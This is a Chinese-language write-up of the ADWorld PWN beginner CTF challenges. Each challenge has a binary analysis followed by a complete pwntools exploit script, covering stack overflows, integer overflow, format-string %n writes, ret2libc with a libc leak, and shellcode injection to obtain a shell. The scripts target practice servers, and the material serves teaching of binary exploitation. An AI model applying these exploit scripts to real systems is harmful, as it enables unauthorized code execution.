ADWORLD PWN 新手练习区 WP

前言

整理adworld的PWN题新手练习区WriteUp;

int_overflow

整数溢出!

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数;

    2. login()函数;

    3. check_passwd()函数;

    4. what_is_this()函数;

    5. 分析:

      main()选择是否登录,login()输入username和passwd,check_passwd()判断密码,注入点在check_passwd()中,分析如下:

      1. v3为密码长度,要求3<v3<=8
      2. 将密码s复制给dest,其中s的不超过0x199字节,dest距离ebp有0x14字节;
      3. v3位 unsigned_int8类型,最大只能255,passwd长度在259-263之间即可绕过;
      4. 可以通过覆盖v3、dest、ebp实现执行what_is_this()函数;
    6. 构造payload如下;

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      #! /usr/bin/python
      #-*-coding:utf-8-*-
      from pwn import *
      context(os='linux',arch='i386')
      p = remote("220.249.52.134","54323")
      # p = process('./int_overflow')
      p.sendlineafter('Your choice:','1')
      p.sendlineafter('username:','leeyuxun')
      what_is_this = p32(0x804868B)
      payload = "a"*0x18 + what_is_this
      payload = payload.ljust(259,"a")
      p.sendlineafter('passwd:',payload)
      p.interactive()
    7. 执行payload,溢出成功,拿到flag如下;

Hello_pwn

栈溢出

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数;

    2. sub_400686()函数;

    3. 分析:

      1. 读取16字节输入到unk_601068;
      2. 判断dword_60106C是否等于1853186401;
      3. 如果等于就执行sub_400686()函数;
      4. unk_601068与dword_60106C相差4字节;
      5. 只需将dword_60106C起填充为1853186401即可;
    4. 构造payload如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      #! /usr/bin/python
      #-*-coding:utf-8-*-
      from pwn import *
      p = remote("220.249.52.134","40723")
      # p = process('./hello_pwn')
      dword_60106C = p64(1853186401)
      payload = 'a'*4 + dword_60106C
      p.sendline(payload)
      p.interactive()
    5. 执行payload,溢出成功,拿到flag如下;

cgpwn2

修改system函数参数的栈溢出!

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数;

    2. hello()函数;

    3. pwn()函数;

  3. 分析

    1. main()定义三个流的缓冲区,然后调用hello();

    2. hello()前部分可以不看,后三行,首先通过fgets()输入name,其次输入message,这里gets()函数存在缓冲区溢出漏洞;

    3. pwn()函数调用了system,但是并未出现/bin/sh或者是cat flag

    4. 查看发现name是bss段的一个大小为0x34的区域,s区域的起始位置是运行时距离栈帧0x26个字节的地方,大小不限;

    5. 由于只开启了NX,那么name的地址是不变的,记下name地址0x0808A0880,输入/bin/sh到name里;

    6. 把name作为参数传给system,构成system("/bin/sh")

  4. payload如下

    1
    2
    3
    name_dir = p32(0x0804A080)
    syst_dir = p32(0x08048420)
    payload = 'a'*0x26 + 'A'*0x4 + syst_dir + 'a'*0x4 + name_dir

    s距离ebp有0x26,再加上需要覆盖的ebp长度0x4,所以总共需要填充,在加上system地址,再加上任意4位地址填充和name地址,最终payload如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #! /usr/bin/python
    #-*-coding:utf-8-*-
    from pwn import *
    p = remote('220.249.52.134','58209')
    # p = process('./cgpwn2')
    name_dir = p32(0x0804A080)
    syst_dir = p32(0x08048420)
    payload = 'A'*0x26 + 'a'*0x4 + syst_dir + 'a'*0x4 + name_dir
    p.recvline('please tell me your name/n')
    p.sendline("/bin/sh")
    p.recvline('hello,you can leave some message here:/n')
    p.sendline(payload)
    p.interactive()
  5. 执行payload,溢出成功,拿到flag如下;

get_shell

???

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数;

      ?????被安排滴明明白白!!!

    2. 直接payload;

      1
      2
      3
      4
      5
      6
      #! /usr/bin/python
      #-*-coding:utf-8-*-
      from pwn import *
      p = remote('220.249.52.134','32274')
      # p = process('./get_shell')
      p.interactive()
    3. 执行查看flag,(不写payload,直接nc连接更快);

CGfsb

格式化字符串漏洞!

  1. checksec查看,开启RELOR、NX和栈保护;

  2. 放入IDA中分析;

    1. main()函数

  3. 分析

    1. 只需将pwnme的之设为8即可实现cat flag

    2. 程序中没有给pwnme赋值的操作;

    3. 程序中printf(&s)存在格式化字符串漏洞:

      1. 漏洞介绍:

        1. 一般printf()函数格式为printf("格式化字符串",参数...),参数由格式化说明符与字符串组成的,通过格式化说明符来规定参数用什么格式输出内容;

        2. 格式化说明符有如下几种:

          1. %d:输出十进制整数
          2. %s:从内存中输出字符串
          3. %x:输出十六进制数
          4. %c:输出字符
          5. %p:输出指针地址
          6. %n:输出到目前为止所写的字符数
        3. 此处需要注意的是%n,它的功能是将%n之前打印出来的字符个数,赋值给一个变量,举例如下

          1
          2
          3
          4
          5
          6
          7
          8
          #include <stdio.h>
          int main(){
          int a = 0;
          printf('hello world%n hello', &a);
          printf('a = %d', a);
          return 0;
          }
          // 输出"hello world hello a = 11"
    4. 由此利用该漏洞给pwnme赋值;

    5. 查看pwnme的地址为0x0804A068

    6. 如何利用:

      1. 将pwnme的地址输入到message;
      2. 在合适的位置上加一个%n,使其与输入的地址对应从而造成漏洞利用;
    7. 查看栈偏移:

      1. 在message中输入aaaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x,由于printf(%s),所以输入的内容会在显示在命令行中,查看输出结果如下;

      2. 输出结果中中61616161aaaa的十六进制ACSII编码,在第10个位置,因此偏移量为10;

    8. 构造payload如下

      1
      2
      pwnme_addr = 0x0804A068
      payload = p32(pwnme_addr)+ 'aaaa' + '%10$n'

      pwnme的地址需要经过32位编码转换,四位,而要求pwnme等于8,所以加上aaaa

      1
      2
      3
      4
      5
      6
      7
      8
      from pwn import *
      p = remote('220.249.52.133',62194)
      # p = process('./CGfsb')
      pwnme_addr = 0x0804A068
      payload = p32(pwnme_addr)+ 'aaaa' + '%10$n'
      p.sendline('leeyuxun')
      p.sendline(payload)
      p.interactive()
    9. 执行paylaod,成功拿到flag;

when_did_you_born

栈溢出,覆盖变量!

  1. checksec查看,开启RELOR、NX和栈保护;

  2. 放入IDA中分析;

    1. main()函数;

    2. 分析;

      1. 程序要求先输入Birth,限制不能为1926;
      2. 然后输入名字,使用gets()函数;
      3. 输入完名字后判断Birth是否为1926,只有是1926才会执行cat flag
      4. gets()函数存在站溢出漏洞,只需输入名字v4时覆盖Birth即v5即可,这里v4v5之间的距离为0x08
  3. 构造payload如下

    1
    2
    born = 1926
    payload = 'a'*8 + p32(born)

    最终payload为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    p = remote('111.200.241.244',42505)
    #p = process('./when_did_you_born')
    p.sendline('1')
    p.recv()
    born = 1926
    payload = 'a'*8 + p32(born)
    p.sendline(payload)
    p.interactive()
  4. 执行payload,成功拿到flag;

level0

栈溢出,覆盖返回地址!

  1. checksec查看,开启了NX;

  2. 放入IDA分析;

    1. main()函数

    2. vulnerable_function()函数

    3. callsystem()函数

    4. 分析

      1. main()函数调用vulnerable_function()函数;

      2. vulnerable_function()函数的read()函数最多可读取0x200字节,而buf变量的空间最多容纳0x80字节,此处存在栈溢出漏洞;

      3. callsystem()函数调用了system的/bin/sh,通过覆盖将返回地址改为callsystem()函数地址即可getshell;

      4. callsystem()函数地址为0x400596

      5. vulnerable_function()函数栈空间填充前后内容如下;

        填充前 填充后
        …… ……
        ret callsystem_addr
        old ebp ‘a’*0x08
        buf
        …… ‘a’*0x80
        buf
        …… ……
  3. 构造payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    from pwn import *
    p = remote('111.200.241.244',38908)
    #p = process('./level0')

    callsystem_addr = 0x400596
    payload = 'a'*(0x80+0x08) + p64(callsystem_addr)
    p.send(payload)
    p.interactive()
  4. 执行payload成功getshell;

level2

栈溢出,覆盖返回地址!

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数

    2. vulnerable_function()函数

    3. 分析;

      1. 上述两个函数和level0大致相同,栈溢出的溢出点同样在read()函数上;

      2. 并且level2调用了system()函数,system()函数的执行地址可以通过EFL命令获得;

        1
        2
        elf = ELF('./level2')
        system_addr=elf.symbols['system']
      3. 查看字符串发现/bin/sh命令;

      4. 可以通过read()栈溢出,在返回函数时用system(/bin/sh)覆盖,输入的payload如下;

        1
        2
        binsh_addr=elf.search('/bin/sh').next()
        payload = 'a'*(0x88+0x4) + p32(system_addr) +p32(0) + p32(binsh_addr)
  3. 最终payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    p = remote('111.200.241.244',37199)
    # p = process('./level2')
    p.recv()
    elf = ELF('./level2')
    system_addr=elf.symbols['system']
    binsh_addr=elf.search('/bin/sh').next()
    payload = 'a'*(0x88+0x4) + p32(system_addr) +p32(0) + p32(binsh_addr)
    p.send(payload)
    p.interactive()
  4. 执行payload,成功getshell;

level3

libc泄漏,栈溢出,ret2libc!

  1. checksec查看,开启RELOR和NX;

  2. 放入IDA中分析;

    1. main()函数

    2. vulnerable_function()函数

    3. 分析

      1. 基本和level2相同,栈溢出的溢出点同样在read()函数上;

      2. 但是并没有调用system()函数,给出了libc文件,显然是ret2libc

        ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置,即函数对应的got表项的内容。一般情况下,选择执行system('/bin/sh'),需要知道system()函数的地址;

      3. 由于调用了write()函数,首先第一次溢出泄露write()的地址,算出libc的基地址,通过偏移进而算出system()函数和/bin/sh的实际地址;

      4. 接着二次溢出,通过计算出的system()函数和/bin/sh的实际地址,覆盖EIP来getShell;

  3. 最终payload如下所示;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *

    p = remote("111.200.241.244", 58141)
    elf = ELF("./level3")
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vul_func_addr = elf.symbols['vulnerable_function']

    libc = ELF("./libc_32.so.6")
    system_offset = libc.symbols['system']
    write_offset = libc.symbols['write']
    binsh_offset = libc.search('/bin/sh').next()
    per_payload = 'a'*(0x88+0x04) + p32(write_plt) + p32(vul_func_addr) + p32(0) + p32(write_got) + 'a'*0x04
    p.recv()
    p.sendline(per_payload)

    write_addr = u32(p.recv()[:4])
    libc_base_addr = write_addr - write_offset
    system_addr = libc_base_addr + system_offset
    binsh_addr = libc_base_addr + binsh_offset
    payload = 'a'*(0x88+0x04) + p32(system_addr) + 'a'*0x04 + p32(binsh_addr)
    p.recv()
    p.sendline(payload)
    p.interactive()
  4. 执行payload,成功getshell;

guess_num

算是栈溢出吧!

  1. checksec查看,保护全开;

  2. 放入IDA中分析;

    1. mian()函数

    2. sub_C3E()函数

    3. 分析

      1. gets()函数存在栈溢出漏洞;

      2. sub_C3E()函数可以实现cat flag命令;

      3. 执行函数sub_C3E()的前提是连续十次猜对生成的随机数;

      4. 只需要覆盖随机数执行的种子seed,按照覆盖的种子生成的随机数输入即可十次全部正确,执行sub_C3E()函数;

      5. 查看seed在栈中的位置为rbp-10h,而可以栈溢出的v7在栈中的位置为rbp-30h,二者相差了0x20

      6. 因此可以构造如下payload实现覆盖seed为0;

        1
        payload = "a"*0x20+p64(0)
  3. 按照程序中的方式使用C语言生成以0为seed的十个随机数;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdio.h>
    #include <stdlib.h>
    int main(){
    srand(0);
    for (int i = 0; i < 10; i++){
    int r = rand() % 6 + 1;
    printf("%d\n", r);
    }
    return 0;
    }
  4. 构造最终payload如下;

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    p = remote('111.200.241.244',57646)
    # p = process('./guess_num')
    payload = "a"*0x20 + p64(0)
    p.recvuntil("Your name:")
    p.sendline(payload)
    p.interactive()
  5. 执行payload,输入生成的十个随机数,最终执行函数sub_C3E(),获取flag;

string

格式化字符串!

  1. checksec查看,开启RELOR、stack和NX;

  2. 放入IDA中分析;

    1. main()函数

      1. 调用了alarm()函数,设置计时为60s,程序会在60s后退出;
      2. 调用sub_400996()函数和sub_400D72()函数;
      3. v3分配8字节的空间,将v3的地址赋值给v4
      4. 设置v3的前4个字节存放68,后4个字节存放85,并将高低4字节的地址分别以v4的方式打印出来;
    2. sub_400996()函数

      1. 打印提示信息和龙的图案;

    3. sub_400D72()函数

      1. 输入名字,要求长度不超过0x0C个字节,如果大于0x0C,则返回main()函数并退出;
      2. 调用sub_400AD7()函数、sub_400BB9()函数、sub_400CA6()函数;
    4. sub_400AD7()函数

      1. 打印一大串无聊的文字说明,然后让选择east或者up,只能选择east,否则会一直循环下去,直到程序运行结束;
      2. 调用了sub_4009DD()函数;
    5. sub_4009DD()函数

      1. ???让循环判断生成的随机数的奇偶性,早晚会exit(0),显然此处无从下手;
    6. sub_400BB9()函数

      1. 判断输入是否为1,如果不为1,则直接退出该函数;
      2. 如果为1,则需要输入两个参数,其中第一个是地址,然后出现语句printf(&format, &format),存在格式化字符串漏洞;
    7. sub_400CA6()函数

      1. 比较*a1a1[1],如果不相等,直接退出结束;

      2. 此处*a1是传递的参数v4即分配的v3的低4位地址,而a1[1]则是v3的高4位地址,正常情况下不相等;

      3. 如果相等,则调用mmap()函数分配一块大小为0x1000字节的空间,其中第三个参数表示该空间可读可写可执行;

      4. 通过read()函数,将输入内容赋值给v1

      5. 接着通过执行如下语句,强制将v1转化为可执行函数;

        1
        ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
      6. 因此只要通过sub_400BB9()函数的格式化字符串漏洞令*a1a1[1]相等,再利用pwntools自带的shellcraft工具,生成amd64架构下的shellcode,即可获取shell;

      7. 回到sub_400BB9()函数中,在获取format的输入前,获取了一次输入并保存到了v2中,在rsp+8h的位置,如果把 printf()函数的原型记作printf(format, args...),那么v2恰恰是args中的第7个参数; 在cheksec检查中,发现这是64位的程序,前6个参数放在寄存器中,从第七个参数开始压入栈中,因此可以用%7$n来访问并修改;

      8. 首先将v4v3的地址赋值给v2,再接着利用格式化字符串漏洞,将v2的值改为85,即*a1a1[1]相等;

      9. v4v3的地址已经打印出来可以直接获得;

        1
        2
        p.recvuntil('secret[0] is ')
        v4 = int(p.recvuntil('\n')[:-1], 16)
      10. 构造的格式化字符串的payload如下;

        1
        payload = '%85x%7$n'
  3. 最终payload如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    from pwn import *
    p = remote('111.200.241.244',44009)
    # p = process('./string')
    p.recvuntil('secret[0] is ')
    v4 = int(p.recvuntil('\n')[:-1], 16)

    p.recvuntil("What should your character's name be:")
    p.sendline("leeyuxun")
    p.recvuntil("So, where you will go?east or up?:")
    p.sendline('east')
    p.recvuntil("go into there(1), or leave(0)?:")
    p.sendline("1")

    p.recv()
    p.sendline(str(v4))
    p.recv()
    payload = '%85x%7$n'
    p.sendline(payload)
    rec = p.recvuntil('SPELL\n')
    context(os='linux', arch='amd64')
    p.sendline(asm(shellcraft.sh()))
    p.interactive()
  4. 执行payload,成功getshell;